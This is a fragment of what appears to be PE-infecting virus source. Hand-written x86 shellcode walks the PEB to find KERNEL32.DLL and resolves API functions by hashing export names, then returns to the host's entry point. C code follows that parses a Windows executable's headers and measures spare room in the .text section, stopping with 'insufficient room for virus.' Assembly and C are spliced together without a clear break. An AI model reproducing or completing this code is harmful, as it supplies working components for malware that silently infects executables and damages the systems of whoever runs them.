;push eax // eax contains the location of shellcode
// get base of k32
mov eax, fs:[0x30] // get PEB ptr
mov eax, [eax+0x0c] // get PED_LDR_DATA ptr
mov esi, [eax+0x1c] // esi ptr to the 1st loaded module, i.e. the NTDLL.DLL
lodsd // esi ptr to the 2nd loaded module, i.e. the KERNEL32.DLL
mov edx, [eax+0x08] // edx contains the base addr of KERNEL32.DLL
; edx = dll base
; eax = hash
get_func_addr:
push ebx
push ecx
push esi
push edi
push ebp
mov ebp, eax
mov ebx, edx // ebx = base of k32
add ebx, [ebx+0x3c] // nt hdr
add ebx, 0x18 // opt hdr
add ebx, 0x60 // exp dir entry
mov ebx, [ebx] // ebx = rva of exp data
add ebx, edx // ebx = va of exp data
xor edi, edi // index
mov ecx, ebx
add ecx, 28
mov ecx, [ecx]
add ecx, edx // ecx = va of func addrs
add ebx, 32
mov ebx, [ebx]
add ebx, edx // ebx = va of func names
next_name:
mov esi, [ebx+edi]
add esi, edx // esi = va of name
add edi, 4
call get_hash // eax = hash
cmp eax, ebp
jnz next_name
sub edi, 4
mov esi, [ecx+edi]
add esi, edx // esi = va of func addr
mov eax, esi
pop ebp
pop edi
pop esi
pop ecx
pop ebx
ret
; esi = va of name
get_hash:
push esi
push ebx
push ecx
xor ebx, ebx
xor eax, eax
next_char:
lodsb
cmp al, 0
jz get_hash_over
mov ecx, ebx
shl ecx, 5
shr ebx, 27
or ebx, ecx
add ebx, eax
jmp next_char
get_hash_over:
mov eax, ebx
pop ecx
pop ebx
pop esi
ret
quit:
push edi
// search entry point
mov edi, DEFAULT_BASE
add edi, [edi+0x3c]
add edi, 0x18
add edi, 0x10
mov edi, [edi] // edi contains the entry point (rva)
add edi, DEFAULT_BASE // edi contains the entry point (va)
// get DOS hdr and do sanity checking
p_dos_hdr = (PIMAGE_DOS_HEADER)p_mem;
if ( p_dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) {
printf("unrecognized file format\n");
goto err3;
}
// get NT hdr and do sanity checking
p_nt_hdr = (PIMAGE_NT_HEADERS)((char *)p_dos_hdr + p_dos_hdr->e_lfanew);
if ( p_nt_hdr->Signature != IMAGE_NT_SIGNATURE) {
printf("invalid PE file, no NT signature found\n");
goto err3;
}
// get other hdrs
p_file_hdr = &p_nt_hdr->FileHeader;
p_opt_hdr = &p_nt_hdr->OptionalHeader;
p_sect_hdr = (PIMAGE_SECTION_HEADER)((char *)p_nt_hdr + sizeof(IMAGE_NT_HEADERS));
// get text section room
for ( i=0; i<p_file_hdr->NumberOfSections; i++, p_sect_hdr++) {
if ( !stricmp( ".text", p_sect_hdr->Name)) {
room = p_opt_hdr->FileAlignment - (p_sect_hdr->Misc.VirtualSize % p_opt_hdr->FileAlignment);
break;
}
}
if ( room < sizeof(sc_size)) {
printf("insufficient room for virus.\n");
goto err3;
}